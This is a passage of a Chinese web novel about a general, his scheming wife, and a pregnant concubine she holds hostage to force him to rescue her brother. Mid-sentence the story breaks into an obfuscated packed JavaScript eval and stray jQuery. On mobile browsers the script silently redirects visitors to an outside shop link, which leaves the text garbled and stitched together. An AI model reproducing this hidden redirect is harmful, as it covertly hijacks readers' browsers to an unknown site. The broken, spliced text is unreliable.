“不管你有什么样的要求,我都答应你,我只求你别伤害她,行不行?”
男人此刻都快要崩溃了。
他只恨自己为什么没有在温酒身边多留几个人,明知道沈缘是个疯子,明知道府内的这些人都不是她的对手!
终于得到了自己想听的这句话。
沈缘嘴角裂开一个满意的笑。
原本抵在温酒肚子上的**,被她缓缓收回到了一边,认真看着面前的男人。
“让你做什么都可以?”
“你确定你说话算数么?”
人质现在就在她手中,性命就在她一念之间就能收取,谢之衍怎么敢不算数。
他狠狠的咽了一口口水。
喉咙用力的滚动着。
重重的点了点头。
“对,不管你有什么样的要求,我全答应你,只求你放过她,放了她们母子三人。”
其实在此时此刻,男人就已经发觉了不对劲,倘若真的是温酒得罪了沈缘,她不可能等到自己回来才做惩罚。
看眼前这个样子,分明只是想利用温酒来威胁自己什么,就像上次她以五千两银子利用自己,取得了十六骑的令牌一样。
谢之衍已经意识到了自己中计。
可现在他实在是有些无可奈何了。
因为像沈缘这样的人,做什么事情全由心定,也许一两句的说不好,她就敢真的当着自己的面给温酒来个开膛破肚。
“不管你有什么样的要求,我全答应。”
他像是重复一般的又道。
沈缘将**丢在了一边,眼中带着浓郁的戏谑:“将军待温姨娘,果然是情深似海。”
“既然将军如此盛情难却,那我便给你一个拯救温姨娘的机会。”
此时此刻,她的目的终于达到了。
她从自己的袖口中掏出来了一卷明黄色的圣旨,用力朝着谢之衍的方向丢过去。
谢之衍不敢让这东西掉落在地上,生怕因为自己没接住,面前的女人又要开始发疯。
一个滑跪,正好将东西抱入怀里。
谢之衍心里已经认定了,这上面书写的东西一定是很无理的要求。
他皱紧眉头,将东西打开。
再看清楚上面写的东西以后,有些错愕的抬头看向了沈缘:“就因为这件事情?”
一时之间,男人都不知道自己是该生气还是怎样,看着上面陛下按下的大印,这分明就是一份正儿八经的带兵出征圣旨!
即便是沈缘没有搞出来这些事情,难道他还敢抗旨不遵不成?
谢之衍都有些懵了。
他实在是不明白面前这个女人搞出来这么多事情,到底想要做什么。
“但凡你好好的跟我说这件事情,难道我还能抗旨不遵?你又何必搞出来这么多,又是**,又是逼我回来!”
谢之衍好像一口气堵在了胸口里。
他将那卷圣旨又卷了回去。
脸上只剩下了气愤。
依然还坐在那里的沈缘,却对于男人的这般态度,没有任何的表示。
她只是轻声问他:“谢之衍,自从你暴露出来和这个女子有纠葛之后,你说我们之间有哪一天是能够心平气和说话的?”
“如果今日我只是单纯的将这卷圣旨交给你,就凭前些日子我们闹的那个样子,你会心甘情愿地带人去将我弟弟救出来吗?”
“不,按照你睚眦必报的性格,你只会比现在我做的还要过分,会倾尽所能的羞辱我,只为了给这个女人一个出气的机会。”
“何必像现在这样生气呢,我不过是抢占了先机,正如你了解我一样,我同样也很了解你,你也不必再说那些没有用的话了,我只问你一句,此番你能不能将我弟弟救回?”
谢之衍脸上的表情瞬间消散。
原本在拿到圣旨的那一瞬间,他确实想到了想用这件事情来拿捏沈缘。
去三鹤山**,还顺带要找到沈星凌,这种事情沈缘一定是在第一时间就上报了陛下,希望可以由她亲自去。
可现在,这个机会沦落到了自己身上。
就足以证明,陛下将这份圣旨交给沈缘,就是希望他们夫妻之间可以化干戈为玉帛!
陛下想用这件事情来拿捏沈缘,让她为自己认错,让她在她弟弟性命安危面前,对着自己低下她高贵的头颅。
可偏偏,沈缘这人,从
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17840982|207932||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
不按常理出牌!
此番不仅没有按照陛下想的那样,让这死女人改邪归正,彻底驯服于自己,还让她在这个基础上更加的疯了!
在自己的家里,连**这种事情都做得出来,这世上到底还有什么事情是她不敢做?
谢之衍深呼吸了良久,才终于找到了自己消失的声音:“你先把温姨娘放开,既然是陛下的圣旨,我自当遵从。”
沈缘却只是笑一下,而后脸色突变。
目光阴沉沉的看着面前的男人。
“我只问你最后一遍,能不能保证将我弟弟安全带回!”
“你最好别跟我耍那些文字游戏,放人自然是不可能放的,在你没有将我弟弟安全带回来之前,温姨娘的一切事物,包括接下来她生产这件事情,全由我一应代劳好了。”
谢之衍怒道:“你这是在威胁我吗?”
就像沈缘不相信他会安全寻回沈星凌一样,谢之衍同样不相信沈缘会让温酒顺利生产,这个女人已经疯了,在她孩子丢了以后,就好像全天下怀孕的女子都欠她的。
“对啊,我就是在威胁你。”
沈缘继续笑的温和。
“如果在我没有找到他之前,他就已经死在了那里,难道这种情况之下,也要让温姨娘母子,替你弟弟赔命?”谢之衍目光如炬,他已经想到了一万种可能。
眼下这个买卖,分明就是不公平的。
谁知道现在沈星凌是个什么状态,他又如何能保证,将人完完整整的给她带回来。
沈缘终于收敛了自己脸上的笑容,语气甚为阴冷:“你最好祈祷我弟弟没事,否则,就只能怨你的温姨娘和她肚子里的孩子太倒霉了,没办法,你是知道的!”
“我这个人向来不讲理。”
“你!”谢之衍咬牙切齿。
可他也没有办法了,眼下只能照做。
他又问沈缘:“那你如何向我保证,在我没有回来之前,会保护好她们母子安全?”
“万一我将你弟弟给救回来了,结果因为你的一时不高兴,就将人给杀了,我岂不是白白替你跑了一趟?”
沈缘道:“谢之衍,别拿你的说话不算数,套用在我身上,我向来比你有信用。”